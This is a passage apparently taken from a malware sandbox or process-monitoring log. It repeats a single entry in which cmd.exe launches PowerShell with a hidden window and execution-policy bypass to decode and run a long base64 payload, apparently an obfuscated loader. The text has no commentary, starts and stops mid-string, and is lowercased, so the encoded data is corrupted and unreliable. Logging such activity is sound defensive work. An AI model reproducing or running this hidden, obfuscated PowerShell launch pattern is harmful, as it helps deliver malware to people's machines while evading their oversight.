y3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcjt9znvuy3rpb24gympyewsojhbhcmftx3zhcil7culfwcanjhbsyxrwpu5ldy1pymply3qgu3lzdgvtlklplk1bqknlbufcq29yqujdevnbqkn0ckfcq2vhqujdbsgsjhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjg1izglipu5ldy1pymply3qgu3lzdgvtlklplkfcq01bqknlqujdbufcq29bqknyqujdeufcq1nbqkn0qujdckfcq2vbqknhqujdbufcqzsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckcnhhy2e9tmv3lu9iamvjdcbtexn0zw0usu8uq0fcq29tqujdchjbqknlqujdc3nbqknpb0fcq24uqujdr1pbqknpcefcq1n0qujdcmvbqknhbufcqygkcgxhdhasiftjty5dqujdb21bqknwckfcq2vzqujdc2lbqknvbkfcqy5db0fcq21wqujdcmvbqknzc0fcq2lbqknvqujdbkfcq01vzgvdojpequjdzufcq2nbqknvbxbbqknyzufcq3nzktsnlljlcgxhy2uoj0fcqycsiccnktsjjhj4ywnhlknvchlubygkbwjkawipowkkcnhhy2eurglzcg9zzsgpowkkcgxhdhaurglzcg9zzsgpowkkbwjkawiurglzcg9zzsgpowkkbwjkawiuvg9bcnjhesgpo31mdw5jdglvbib3enrnccgkcgfyyw1fdmfylcrwyxjhbtjfdmfykxsjsuvyicckdgxvz2g9w1n5c3rlbs5squjdzufcq2zsqujdzwn0qujdaw9bqknulkfcq0f
                        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('dhj5e2llecaokgllecaokcdkcgpuenp1yxd0cmx3cmnpzhbqbnp6dwf3dhjsd3jjd2rwam56envhd3rybhdyy3jkcgpuenp1yxd0cmx3cmmgzhbqbnp6dwf3dhjsd3jjlwrwam56envhd3rybhdyy1vkcgpuenp1yxd0cmx3cmnzzhbqbnp6dwf3dhjsd3jjzwrwam56envhd3rybhdyy0jkcgpuenp1yxd0cmx3cmnhzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnjzhbqbnp6dwf3dhjsd3jjugrwam56envhd3rybhdyy2fkcgpuenp1yxd0cmx3cmnyzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy2lkcgpuenp1yxd0cmx3cmnuzhbqbnp6dwf3dhjsd3jjz2rwam56envhd3rybhdyyyaizhbqbnp6dwf3dhjsd3jjagrwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmn0zhbqbnp6dwf3dhjsd3jjcgrwam56envhd3rybhdyy3nkcgpuenp1yxd0cmx3cmm6zhbqbnp6dwf3dhjsd3jjl2rwam56envhd3rybhdyyy9kcgpuenp1yxd0cmx3cmmwzhbqbnp6dwf3dhjsd3jjegrwam56envhd3rybhdyyzbkcgpuenp1yxd0cmx3cmmuzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyy3rkcgpuenp1yxd0cmx3cmmvzhbqbnp6dwf3dhjsd3jjogrwam56envhd3rybhdyy0tkcgpuenp1yxd0cmx3cmn1zhbqbnp6dwf3dhjsd3jjvmrwam56envhd3rybhdyyy5kcgpuenp1yxd0cmx3cmnwzhbqbnp6dwf3dhjsd3jjc2rwam56envhd3rybhdyyzfkcgpuenp1yxd0cmx3cmmijykuumvwbgfjzsgnzhbqbnp6dwf3dhjsd3jjjywnjykpks5db250zw50ksatrxjyb3jby3rpb24gu2lszw50bhldb250aw51zx1jyxrjaht9o2z1bmn0aw9uigpsanjukcrwyxjhbv92yxipewkkywvzx3zhcj1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5bzxndojpdcmvhdguoktsjjgflc192yxiutw9kzt1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5daxbozxjnb2rlxto6q0jdowkkywvzx3zhci5qywrkaw5npvttexn0zw0uu2vjdxjpdhkuq3j5chrvz3jhcgh5llbhzgrpbmdnb2rlxto6uetduzc7csrhzxnfdmfylktlet1bu3lzdgvtlknvbnzlcnrdojooj2duaxj0uzq2zxnhqm1vckynwy0xli4tmtzdic1qb2luiccnksgnkzzhwk90v2lzoun0nvy4ndfml3izuvdtcllccty3a0todet0vdfpckqrbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6kcdnbmlydfm0nmvzyujtb3jgj1stms4ulte2xsatam9pbianjykoj1lxvmd0s09na1hda0hkzzrielf6dnc9pscpowkkzgvjcnlwdg9yx3zhcj0kywvzx3zhci5dcmvhdgvezwnyexb0b3ioktsjjhjldhvybl92yxi9jgrly3j5chrvcl92yxiuvhjhbnnmb3jtrmluywxcbg9jaygkcgfyyw1fdmfylcawlcakcgfyyw1fdmfylkxlbmd0ack7csrkzwnyexb0b3jfdmfylkrpc3bvc2uoktsjjgflc192yxiurglzcg9zzsgpowkkcmv0dxjux3zhcj